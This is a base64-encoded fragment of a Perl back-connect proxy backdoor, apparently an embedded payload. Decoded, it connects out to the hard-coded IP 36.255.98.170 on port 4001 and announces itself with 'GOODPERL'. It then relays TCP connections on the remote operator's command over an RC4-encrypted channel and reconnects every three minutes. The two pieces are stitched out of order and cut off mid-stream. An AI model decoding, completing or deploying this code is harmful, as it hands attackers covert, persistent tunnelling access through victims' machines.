AKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzAnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1v